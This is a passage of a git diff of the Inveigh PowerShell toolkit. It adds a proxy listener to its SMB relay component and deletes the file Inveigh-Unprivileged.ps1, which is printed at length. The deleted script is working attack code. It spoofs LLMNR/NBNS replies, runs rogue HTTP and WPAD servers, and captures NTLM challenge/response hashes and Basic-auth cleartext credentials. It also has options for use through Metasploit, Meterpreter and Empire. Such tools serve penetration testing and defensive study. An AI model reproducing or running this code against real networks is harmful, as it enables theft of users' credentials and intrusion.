$RelayAutoDisable).AddArgument($WPADAuth).AddArgument($SSL).AddArgument($certificate).AddArgument( - $SMB_version).AddArgument($Service) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPS_listener).AddArgument($proxy_listener).AddArgument( + $RelayAutoDisable).AddArgument($Service).AddArgument($SMB_version).AddArgument($Target).AddArgument( + $WPADAuth).AddArgument($WPADResponse) > $null $HTTPS_powershell.BeginInvoke() > $null } +Start-Sleep -m 50 + +# Proxy Listener Startup function +function ProxyListener() +{ + $HTTPS_listener = $false + $proxy_listener = $true + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($irkin_functions_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $proxy_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPS_listener).AddArgument($proxy_listener).AddArgument( + $RelayAutoDisable).AddArgument($Service).AddArgument($SMB_version).AddArgument($Target).AddArgument( + $WPADAuth).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + # Control Relay Startup function function ControlRelayLoop() { @@ -3189,7 +3316,8 @@ function ControlRelayLoop() $control_relay_powershell = [PowerShell]::Create() $control_relay_powershell.Runspace = $control_relay_runspace $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RelayAutoExit).AddArgument( + $RunTime) > $null $control_relay_powershell.BeginInvoke() > $null } @@ -3205,8 +3333,14 @@ if($HTTPS -eq 'Y') HTTPSListener } +# HTTPS Server Start +if($Proxy -eq 'Y') +{ + ProxyListener +} + # Control Relay Loop Start -if($RunTime -or $inveigh.file_output) +if($RelayAutoExit -or $RunTime -or $inveigh.file_output) { ControlRelayLoop } @@ -3301,7 +3435,7 @@ Stop-Inveigh will stop all running Inveigh functions. if($inveigh) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) + if($inveigh.running -or $inveigh.relay_running) { if($inveigh.HTTP_listener.IsListening) @@ -3353,19 +3487,6 @@ if($inveigh) } - if($inveigh.unprivileged_running) - { - $inveigh.unprivileged_running = $false - Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append - } - - } - if($inveigh.relay_running) { $inveigh.relay_running = $false @@ -3611,12 +3732,12 @@ Watch-Inveigh will enabled real time console output. If using this function thro if($inveigh.tool -ne 1) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) + if($inveigh.running -or $inveigh.relay_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) @@ -3707,7 +3828,7 @@ Clear-Inveigh will clear Inveigh data from memory. if($inveigh) { - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.unprivileged_running) + if(!$inveigh.running -and !$inveigh.relay_running) { Remove-Variable inveigh -scope global Write-Output "Inveigh data has been cleared from memory" diff --git a/Scripts/Inveigh-Unprivileged.ps1 b/Scripts/Inveigh-Unprivileged.ps1 deleted file mode 100644 index 7e4e0d0..0000000 --- a/Scripts/Inveigh-Unprivileged.ps1 +++ /dev/null @@ -1,2452 +0,0 @@ -function Invoke-InveighUnprivileged -{ -<# -.SYNOPSIS -Invoke-InveighUnprivileged is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP. This -version of Inveigh does not require local admin access. - -.DESCRIPTION -Invoke-InveighUnprivileged is a Windows PowerShell LLMNR/NBNS spoofer with the following features: - - Local admin is not required for any feature - IPv4 NBNS spoofer with granular control that can be run with or without disabling the local NBNS service - IPv4 LLMNR spoofer with granular control that can be run only with the local LLMNR service disabled - Targeted IPv4 NBNS transaction ID brute force spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP - Basic auth cleartext credential capture over HTTP - WPAD server capable of hosting a basic or custom wpad.dat file - HTTP server capable of hosting limited content - Granular control of console and file output - Run time control - -This function contains only features that do not require local admin access. Note that there are caveats. A local -firewall can still prevent traffic from reaching this function's listeners. Also, if LLMNR is enabled on the host, -the LLMNR spoofer will not work. Both of these scenarios would still require local admin access to -change. - -.PARAMETER SpooferIP -IP address for the LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the Inveigh host. - -.PARAMETER SpooferHostsReply -Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferHostsIgnore -Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsReply -Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsIgnore -Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferRepeat -Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user -challenge/response has been captured. - -.PARAMETER LLMNR -Default = Enabled: (Y/N) Enable/Disable LLMNR spoofer. - -.PARAMETER LLMNRTTL -Default = 30 Seconds: LLMNR TTL in seconds for the response packet. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofer. - -.PARAMETER NBNSTTL -Default = 165 Seconds: NBNS TTL in seconds for the response packet. - -.PARAMETER NBNSBruteForce -Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. - -.PARAMETER NBNSBruteForceHost -Default = WPAD: Hostname for the NBNS Brute Force spoofer. - -.PARAMETER NBNSBruteForcePause -Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming -HTTP request is received. - -.PARAMETER NBNSBruteForceTarget -IP address to target for NBNS brute force spoofing. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: IP address for the HTTP listener. - -.PARAMETER HTTPPort -Default = 80: TCP port for the HTTP listener. - -.PARAMETER HTTPAuth -Default = NTLMESS: (Anonymous,Basic,NTLM,NTLMNoESS) HTTP/HTTPS server authentication type. This setting does not apply to -wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. - -.PARAMETER HTTPBasicRealm -Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPResponse -String or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. -Use PowerShell character escapes where necessary. - -.PARAMETER WPADAuth -Default = NTLMESS: (Anonymous,Basic,NTLM,NTLMNoESS) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to -Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. - -.PARAMETER WPADEmptyFile -Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. -Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when -using WPADIP, WPADPort, or WPADResponse. - -.PARAMETER WPADIP -Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used -with WPADPort. - -.PARAMETER WPADPort -Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be -used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. Use PowerShell character escapes where necessary. - -.PARAMETER WPADResponse -wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort -are set. - -.PARAMETER Challenge -Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random -challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. - -.PARAMETER ConsoleStatus -(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for -displaying full capture lists when running through a shell that does not have access to the support functions. - -.PARAMETER ConsoleUnique -Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time console output is enabled. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER FileUnique -Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time file output is enabled. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Unprivileged through a shell that does not return other output streams. Note that you will not see -the various yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be -enabled. - -.PARAMETER RunTime -Default = Unlimited: (Integer) Run time duration in minutes. - -.PARAMETER RunCount -Default = Unlimited: (Integer) Number of captures to perform before auto-exiting. - -.PARAMETER StartupChecks -Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Meterpreter's -PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. -0 = None, 1 = Metasploit/Meterpreter, 2 = Empire - -.EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-InveighUnprivileged -ConsoleOutput Y - -.EXAMPLE -Invoke-InveighUnprivileged -NBNSBruteForce Y -SpooferTarget 192.168.1.11 -Hostname server1 -Target 192.168.1.11 for 'server1' hostname spoofs. - -.EXAMPLE -Invoke-InveighUnprivileged -NBNSBruteForce Y -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 -Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir = "", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", - [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", - [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", - [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", - [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", - [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", - [parameter(Mandatory=$false)][Int]$HTTPPort = "80", - [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", - [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", - [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", - [parameter(Mandatory=$false)][Int]$WPADPort = "", - [parameter(Mandatory=$false)][Int]$RunCount = "", - [parameter(Mandatory=$false)][Int]$RunTime = "", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", - [parameter(Mandatory=$false)][String]$HTTPResponse = "", - [parameter(Mandatory=$false)][String]$WPADResponse = "", - [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - Write-Output "Error:$($invalid_parameter) is not a valid parameter" - throw -} - -if($NBNSBruteForce -eq 'Y') -{ - $NBNS = 'N' - $LLMNR = 'N' -} - -if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) -{ - Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" - throw -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if($WPADIP -or $WPADPort) -{ - - if(!$WPADIP) - { - Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" - throw - } - - if(!$WPADPort) - { - Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" - throw - } - -} - -if(!$OutputDir) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList - $inveigh.valid_host_list = New-Object System.Collections.ArrayList -} - -if($inveigh.unprivileged_running) -{ - Write-Output "Error:Invoke-InveighUnprivileged is already running, use Stop-Inveigh" - throw -} - -if(!$inveigh.running -or !$inveigh.relay_running) -{ - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.console_output = $false - $inveigh.console_input = $true - $inveigh.file_output = $false - $inveigh.HTTPS_existing_certificate = $false - $inveigh.HTTPS_force_certificate_delete = $false - $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" - $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" - $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -} - -$inveigh.hostname_spoof = $false -$inveigh.unprivileged_running = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh Unprivileged started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Unprivileged started")]) > $null - -if($StartupChecks -eq 'Y') -{ - $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} -} - -if($firewall_status) -{ - $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null - - $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 - $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" - - if($firewall_powershell) - { - $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null - } - -} - -if($LLMNR -eq 'Y') -{ - if($StartupChecks -eq 'Y') - { - $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " - } - - if(!$LLMNR_port_check) - { - $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- response sent" - } - else - { - $LLMNR = "N" - $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null - } -} -else -{ - $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofer is disabled" -} - -if($NBNS -eq 'Y') -{ - $NBNSTypes_output = $NBNSTypes -join "," - - if($NBNSTypes.Count -eq 1) - { - $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null - } - else - { - $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null - } - - $NBNS_response_message = "- response sent" -} -else -{ - $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null - $NBNS_response_message = "- NBNS spoofer is disabled" -} - -if($NBNSBruteForce -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null - - if($NBNSBruteForcePause) - { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null - } - -} -else -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer = Disabled") > $null -} - -if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null -} - -if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null -} - -if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null -} - -if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer Ips Reply = " + ($SpooferIPsReply -join ",")) > $null -} - -if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null -} - -if($SpooferRepeat -eq 'N') -{ - $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null -} -else -{ - $inveigh.spoofer_repeat = $true -} - -if($HTTP -eq 'Y') -{ - - if($StartupChecks -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " - } - - if($HTTP_port_check) - { - $HTTP = "N" - $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null - } - else - { - - if($HTTPIP -ne '0.0.0.0') - { - $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - - $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null - $inveigh.status_queue.Add("HTTP Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($HTTPResponse) - { - $inveigh.status_queue.Add("HTTP Custom Response = Enabled") > $null - } - - if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') - { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null - - if($WPADDirectHosts) - { - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null - } - - } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) - { - $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null - } - elseif($WPADEmptyFile -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null - } - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'n') - { - $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null - $inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null -} - -if($ConsoleOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null - $inveigh.console_output = $true - - if($ConsoleStatus -eq 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null - } - elseif($ConsoleStatus -gt 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null - } - -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null - } - -} - -if($ConsoleUnique -eq 'Y') -{ - $inveigh.console_unique = $true -} -else -{ - $inveigh.console_unique = $false -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null -} - -if($FileUnique -eq 'Y') -{ - $inveigh.file_unique = $true -} -else -{ - $inveigh.file_unique = $false -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($RunCount) -{ - $inveigh.status_queue.Add("Run Count = $RunCount") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh-Unprivileged") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveAt(0) - } - else - { - - switch -Wildcard ($inveigh.status_queue[0]) - { - - "* Disabled Due To *" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveAt(0) - } - - "Run Stop-Inveigh to stop Inveigh-Unprivileged" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveAt(0) - } - - "Windows Firewall = Enabled" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveAt(0) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveAt(0) - } - - } - - } - - } - -} - -# Begin ScriptBlocks - -# Shared Basic functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - - function DataLength2 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataLength4 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - -} - -# HTTP Server ScriptBlock - HTTP listener -$HTTP_scriptblock = -{ - param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPIP,$HTTPPort,$HTTPResponse,$NBNSBruteForcePause,$WPADAuth,$WPADEmptyFile,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) - - function NTLMChallengeBase64 - { - param ([String]$Challenge,[Bool]$NTLMESS) - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($Challenge) - { - $HTTP_challenge = $Challenge - $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null - - if($NTLMESS) - { - $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a - } - else - { - $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a - } - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00 + - $HTTP_NTLM_negotiation_flags + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 